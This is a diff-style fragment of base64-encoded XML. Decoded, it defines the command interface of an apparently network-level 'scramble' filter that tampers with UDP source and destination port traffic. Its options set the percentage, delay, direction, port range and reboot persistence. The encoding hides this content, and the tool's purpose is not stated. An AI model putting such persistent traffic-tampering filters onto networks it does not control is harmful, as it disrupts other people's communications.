+ICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IERlbGF5PC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5
+cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRl
+ZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4w
+eDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4xNjwvYXJn
+bnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2YgcGFja2V0cyB0byBp
+Z25vcmUgYmVmb3JlIGZpbHRlciBhZmZlY3RzIHBhY2tldHMuPC9oZWxwdGV4dD4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAg
+IDxwYXJhbWV0ZXIgZmxhZz0icCI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNl
+PC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1f
+cDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QYWNrZXQgUGVyY2VudGFn
+ZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MTc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+UGVy
+Y2VudGFnZSBvZiBwYWNrZXRzIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0Pg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAg
+ICAgPHBhcmFtZXRlciBmbGFnPSJwbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZh
+bHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFy
+YW1fcG08L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4IFBhY2tldHM8
+L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAg
+IDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAg
+ICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjE4PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0Pk1heGlt
+dW0gbnVtYmVyIG9mIHBhY2tldHMgdG8gYWZmZWN0IGJlZm9yZSBmaWx0ZXIgaXMgdGVybWluYXRl
+ZC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwv
+cGFyYW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJkaXIiPg0KICAgICAgICAg
+ICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2RpcjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5EaXJlY3Rpb248L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAg
+ICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1
+bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE5PC9hcmdudW1iZXI+DQogICAgICAgICAg
+ICAgICAgPGhlbHB0ZXh0PlRoZSBkaXJlY3Rpb24gaW4gYSBjbGllbnQgc2VydmVyIGNvbm5lY3Rp
+b24gdGhhdCB0aGlzIGZpbHRlciBhcHBsaWVzIHRvLiAgSWYgZmxhZyBpcyBub3QgdXNlZCwgYm90
+aCBkaXJlY3Rpb24gd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElmIDEgaXMgZW50ZXJlZCwgb25seSBj
+b25uZWN0aW9ucyBmcm9tIHRoZSBjbGllbnQgd2lsbCBiZSBmaWx0ZXJlZCBvbi4gIElmIDIsIG9u
+bHkgdGhvc2UgZnJvbSB0aGUgc2VydmVyLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9ImwiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNp
+dGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2w8L25jdXJzZWlk
+Pg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+VURQIFBvcnQgTWluaW11bTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWlu
+dDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAg
+ICAgIDxkZWZhdWx0dmFsdWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmlt
+aXRpdmU+MHgwRjAwMDAxMTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+
+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NaW5pbXVtIHZhbHVlIGZv
+ciB1ZHAgcG9ydCBhc3NpZ25tZW50LjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZs
+YWc9ImhpIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRp
+dmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9oPC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlVEUCBQb3J0IE1heGltdW08L25jdXJzZWxhYmVs
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQz
+MjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMTE8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjM8
+L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TWF4aW11bSB2YWx1ZSBmb3Ig
+dWRwIHBvcnQgYXNzaWdubWVudC48L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0KICAgICAgICAgIDwvb3B0aW9uYWxfcGFyYW1l
+dGVycz4NCiAgICAgICAgPC9wYXJhbWV0ZXJzPg0KICAgICAgICA8bmN1cnNlc2xheW91dD4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDx0
+aXRsZT5TY3JhbWJsZSB1ZHAtc3JjcG9ydCBGaWx0ZXI8L3RpdGxlPg0KICAgICAgICAgICAgPC9j
+b2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0
+dHJpYl8xPC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzI8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0
+ZV9hdHRyaWJfMzwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3Jl
+YXRlX2F0dHJpYl80PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAg
+ICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+XzU8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfNjwvZWxlbWVudD4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfY3JlYXRlX2F0
+dHJpYl83PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzg8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3Nl
+Y3Rpb24+DQogICAgICAgICAgPHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAg
+ICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzk8L2VsZW1lbnQ+DQogICAg
+ICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4vPg0KICAgICAgICAgIDwvc2Vj
+dGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAg
+ICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX2VuPC9lbGVtZW50Pg0KICAgICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5z
+Y3JhbWJsZV9wYXJhbV9wczwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAg
+ICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fcjwv
+ZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAg
+ICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgICAg
+PGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1fdGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVt
+bj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1i
+bGVfcGFyYW1fdDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwv
+c2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAg
+ICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3NkPC9lbGVtZW50Pg0KICAgICAgICAg
+ICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVu
+dD5zY3JhbWJsZV9wYXJhbV9zPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAg
+ICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9z
+bTwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4N
+CiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAg
+IDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BkPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1
+bW4+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJs
+ZV9wYXJhbV9wPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD5zY3JhbWJsZV9wYXJhbV9wbTwvZWxlbWVu
+dD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAg
+ICA8c2VjdGlvbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50
+PnNjcmFtYmxlX3BhcmFtX2RpcjwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAg
+ICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1f
+bDwvZWxlbWVudD4NCiAgICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbj4N
+CiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVfcGFyYW1faDwvZWxlbWVudD4NCiAgICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgPC9uY3Vyc2Vz
+bGF5b3V0Pg0KICAgICAgPC9jbWQ+DQogICAgICA8Y21kIHRpdGxlPSJ1ZHAtZHN0cG9ydCI+DQog
+ICAgICAgIDxoZWxwdGV4dD5DcmVhdGVzIGEgbmV3IHVkcC1kc3Rwb3J0IHJ1bGUgYmFzZWQgb24g
+dGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0Pg0KICAgICAgICA8cHJpbWl0aXZlcz4N
+CiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICAgIDxwcmltaXRpdmU+
+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDEy
+PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICAg
+IDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2ZXM+DQogICAgICAgIDwvcHJpbWl0aXZl
+cz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+
+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1
+dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlNvdXJjZSBJUDwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAg
+ICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8
+L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4NCiAg
+ICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzI8
+L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Tb3VyY2UgTWFzazwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAg
+PGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAg
+ICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBG
+MDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4zPC9hcmdudW1i
+ZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+PG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfNDwvbmN1cnNlaWQ+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAg
+ICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4
+MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjQ8L2FyZ251
+bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5h
+dGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4N
+CiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjU8
+L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2Nv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAg
+ICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9j
+cmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5E
+ZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlwZT5pcHY0
+PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAg
+IDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdu
+dW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzc8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U3RhcnQgRHN0IFBvcnQ8L25jdXJzZWxh
+YmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVp
+bnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl84PC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuZCBEc3QgUG9ydDwvbmN1cnNl
+bGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+
+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAg
+PG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICA8L3JlcXVpcmVkX2F0
+dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0
+dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0KICAgICAgICAgIDxyZXF1aXJlZF9wYXJh
+bWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwv
+Y2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX2Vu
+PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJl
+c2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxlcyB0aGUg
+cnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InBz
+Ij4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQog
+ICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9wczwvbmN1cnNlaWQ+DQogICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAg
+ICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAg
+ICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFs
+dWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MjwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFibGUgdGhlIGZpbHRlciB0byBzdXJ2aXZl
+IHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iciI+DQogICAg
+ICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAg
